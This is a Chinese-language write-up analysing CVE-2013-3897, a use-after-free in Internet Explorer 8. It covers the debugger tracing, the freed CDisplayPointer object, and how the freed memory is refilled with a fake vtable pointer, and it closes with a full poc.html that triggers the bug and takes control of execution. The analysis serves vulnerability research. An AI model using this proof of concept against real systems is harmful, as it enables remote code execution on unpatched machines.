CVE-2013-3897漏洞成因與利用分析
1. 簡介
此漏洞是UAF(Use After Free)類漏洞,即引用了已經釋放的內存。攻擊者可以利用此類漏洞實現遠程代碼執行。UAF漏洞的根源源於對對象引用計數的處理不當,比如在編寫程序時忘記AddRef或者多加了Release,最終導致對象的釋放。對於IE的大部分對象(COM編程實現)來說,+4偏移處的含義是該對象的引用計數,可以通過跟蹤它來定位補丁前后的位置及被釋放的位置。+0偏移處的含義是該對象的虛函數表指針,可以通過它來改變程序執行流程。
2. 實驗環境
操作系統:Win7 SP1
瀏覽器:IE8(補丁Windows6.1-KB2879017-x86前)
漏洞編號:CVE-2013-3897
3. 漏洞分析
3.1. 分析Crash
3.1.1. 運行poc,查看crash
看到crash原因是 call dword ptr [eax] 處引用了無效的內存空間。查看崩潰處的上下文。
查看ebx,此時ebx==0031c094。查看函數調用回溯。
ebx的值也是 mshtml!QIClassID 的第一個參數,mshtml!CDoc::ScrollPointerIntoView 的第二個參數;它是一個0x48大小的對象,也是釋放后被重用的對象。
3.1.2. 分析相關代碼上下文
mshtml!CDoc::ScrollPointerIntoView,查看[ebp+0Ch]的變化(即函數的第二個參數,被釋放的對象),有如下片段。
在調用mshtml!QIClassID前又調用了mshtml!CDoc::GetLineInfo,因此接下來在mshtml!CDoc::ScrollPointerIntoView和call mshtml!CDoc::GetLineInfo處設置斷點,分析參數二[ebp+0Ch]的狀態。
3.2. 跟蹤調試、分析漏洞成因
3.2.1. 調試工作准備
開啟gflags的Create user mode stack trace database功能(用於進行堆回溯)。
在POC中加入如下用於跟蹤執行流程的調試語句
IE8下:Math.atan2(0x999, "[*] Before Unselect");
設置以下斷點,觀察被釋放的對象
bu mshtml!CDoc::ScrollPointerIntoView
bu CDoc::ScrollPointerIntoView+0x32
bu CDoc::ScrollPointerIntoView+0x37
bu jscript!JsAtan2 ".echo;.printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;.echo;"
3.2.2. 定位釋放后重用的對象
通過調試語句可以得知執行流程:執行godzilla.onpropertychange = fun_onpropertychange ;后立即觸發了onpropertychange事件,調用fun_onpropertychange
執行godzilla.select();后立即觸發了onselect事件,調用fun_onselect;fun_onselect內部執行完swapNode后,會來到mshtml!CDoc::ScrollPointerIntoView。
觀察mshtml!CDoc::ScrollPointerIntoView的參數二[ebp+0Ch] == 046e85b4
它是一個mshtml!CDisplayPointer對象,因此釋放后重用的對象就是 CDisplayPointer ,它在select事件被觸發時創建,創建過程如下(注意,這里的046e85b4,相對046e8580偏移為0x34;相對046e8598(UserPtr)的偏移為1c;1c/4=7)
因此整個過程為godzilla.select();觸發onselect事件,調用fun_onselect。在此過程中創建一個mshtml!CDisplayPointer對象,fun_onselect內部執行完swapNode后函數mshtml!CDisplayPointer::ScrollIntoView將要通過mshtml!CDisplayPointe對象來設置新的展示位置。
3.2.3. 跟蹤對象釋放過程
后邊來到mshtml!CDoc::ScrollPointerIntoView的call mshtml!CDoc::GetLineInfo處,此時CDisplayPointer 對象還未被釋放。
對這個對象(UserPtr)的釋放過程設置斷點:
bu mshtml!CDisplayPointer::Release ".if ( poi(esp+0x4) == 046e8598 ){} .else{gc}"
bu ntdll!RtlFreeHeap ".if ( poi(esp+0xc) == 046e8598 ){} .else{gc}"
因為調用了swapNode,textarea的valueproperty被改變。隨后onpropertychange事件被觸發,調用fun_onpropertychange
[*] Enter onpropertychange
[*] Before Unselect
document.execCommand("Unselect");的執行,導致了 CDisplayPointer 對象被釋放,此時對象釋放函數被觸發,對象將被釋放。
(如果只對bu mshtml!CDisplayPointer::Release下斷點,之后的幾次mshtml!CDisplayPointer::Release:是對其他對象的解引用及釋放。)
通過對象釋放的堆棧回溯可以看出,mshtml!CDisplayPointer::ScrollIntoView隨后觸發了onpropertychange事件,fun_onpropertychange內部的Unselect命令導致了對象的釋放。
3.2.4. 內存占位及獲取執行流程
CDisplayPointer對象釋放后立即對內存進行占位,通過對RtlAllocateHeap設置條件斷點,可以定位內存占位。
ntdll!RtlAllocateHeap+XXX(定位函數返回時eax的值,換成硬編碼)
77d92eb8 ".if (eax == 046e8598){} .else{gc}"
然后來到下圖所示
此時對象已經被釋放,並被占位。POC中對應的代碼:war[i].className = data; 申請了17*4+2=70 (0x46) 最后有個\u0000終止符,因此總數是0x48。
同時在POC中,在第八個4字節處設置偽造的虛函數表地址(因為0x046e85b4相對UserPtr的偏移為0x1C=4*7,相對堆塊起始位置的偏移為0x34),從而控制執行流程。
如果將POC中對應的代碼設置為
對后來的call mshtml!QIClassID下斷點,[ebp+8]即指向釋放后重新占位的對象
其內部將索引對象的第一個虛函數,最終調用call dword ptr [eax]。此時eax為我們已經布置好的shellcode(最前面是偽造的虛函數表)的地址(即偽造的虛函數表的地址)。call dword ptr [eax]將調用其第一個虛函數。
4. 漏洞利用
此UAF漏洞釋放后重用的目標是對象的虛函數表,因此通過偽造虛函數表來獲取執行流程。由於此漏洞的局限性,我們不能通過它來繞過ASLR只能在利用代碼中,只能使用Java 6運行環境JRE1.6的msvcr71.dll(或其他non-ASLR模塊)來繞過ASLR。也可以配合其他漏洞,獲取模塊基址及shellcode的地址來繞過ASLR。最終構造ROP繞過DEP,實現遠程代碼執行。
通過non-ASLR模塊繞過ASLR的過程比較簡單,詳見EXP代碼。
5. 總結
UAF漏洞的成因一般都是因為在編程過程中對引用計數的處理不當導致對象被釋放后重用的。利用UAF漏洞實現遠程代碼執行,首先需要Bypass ASLR,獲得模塊基址及shellcode的地址(也可以通過堆噴射在指定內存空間布置shellcode),然后硬編碼、動態構造ROP來Bypass DEP,最終實現任意代碼的執行。
不同的UAF漏洞利用方式會有不同,但是分析它們的流程基本一致。
6. 參考資料
[1] CVE-2013-3897漏洞分析:http://www.freebuf.com/articles/system/29445.html
[2] CVE-2013-3897樣本分析學習筆記:http://www.91ri.org/7900.html
[3] CVE-2013-3897 UAF Analysis:http://thecjw.0ginr.com/blog/?p=187
7. 附錄
7.1. poc.html

<html> <head> <script> var data = ""; for (i=0; i<17; i++) { if (i==7) { data += unescape("%u2020%u2030"); //data += "\u4141\u4141"; } else { data += "\u4141\u4141"; } } data += "\u4141"; function butterfly() { for(i=0; i<20; i++) { var effect = document.createElement("div"); effect.className = data; } } var battleStation = false; var war = new Array(); var godzilla ; var minilla ; var battleStation = false; function fun_onselect() { Math.atan2(0x999, "[*] Before swapNode"); minilla.swapNode(document.createElement("div")); // 調用swapNode,通過交換節點從頁面布局刪除textarea了,同時觸發 onpropertychange 事件; Math.atan2(0x999, "[*] After swapNode"); } // fun_onpropertychange第一次被調用時是因為改變了DOM,第二次調用是由swapNode導致的,立即進行內存占位 function fun_onpropertychange() { Math.atan2(0x999, "[*] Enter onpropertychange"); if (battleStation == true) { for (i=0; i<50; i++) { war.push(document.createElement("span")); } } Math.atan2(0x999, "[*] Before Unselect"); document.execCommand("Unselect"); // 使用了document.execCommand("Unselect")命令撤銷 select ,導致了CDisplayPointer對象被釋放 Math.atan2(0x999, "[*] After Unselect"); if (battleStation == true) // 對已經釋放的CDisplayPointer內存進行占位 { for (i=0; i < war.length; i++) { war[i].className = data; } } else { battleStation = true; } Math.atan2(0x999, "[*] Leave onpropertychange"); } function kaiju() { godzilla = document.createElement("textarea"); // Create a CTextArea Object minilla = document.createElement("pre"); document.body.appendChild(godzilla); document.body.appendChild(minilla); godzilla.appendChild(minilla); godzilla.onselect = fun_onselect ; // 給textarea元素設置 select 處理函數,當textarea文本框被選中時觸發並調用處理函數 Math.atan2(0x999, "[*] Before godzilla.onpropertychange"); godzilla.onpropertychange = fun_onpropertychange ; // 給textarea元素設置 onpropertychange 事件處理函數,當屬性變化時觸發調用 Math.atan2(0x999, "[*] After godzilla.onpropertychange"); //butterfly(); Math.atan2(0x999, "[*] Before godzilla.select()"); godzilla.select(); // 主動觸發 select 處理函數 Math.atan2(0x999, "[*] After godzilla.select()"); } </script> </head> <body onload='kaiju()'> </body> </html>